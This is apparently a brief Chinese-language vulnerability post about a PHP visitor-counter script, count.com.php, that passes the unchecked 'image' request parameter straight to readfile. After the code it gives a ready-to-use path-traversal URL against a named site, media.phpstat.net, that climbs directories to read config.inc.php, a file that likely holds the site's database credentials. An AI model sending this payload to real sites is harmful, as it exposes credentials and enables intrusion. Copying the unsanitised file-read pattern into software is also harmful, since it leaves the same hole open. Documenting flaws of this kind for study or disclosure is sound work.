./count/count.com.php

$website = $_GET[website];        
$image = $_GET[image];         //确定图片
         if(!$image)        
$imagesrc = "../templates/".TPL_NAME."/".TPL_IMGDIR."/icos/countlogo1.gif";      
   else     
    $imagesrc = "../templates/".TPL_NAME."/".TPL_IMGDIR."/icos/".$image;         //发送图片        
    header("Content-type: image/gif");     
    readfile($imagesrc);        
@flush();

很2B，看一个站的时候发现。。

测试地址

http://media.phpstat.net/count/count.com.php?image=../../../../include.inc/config.inc.php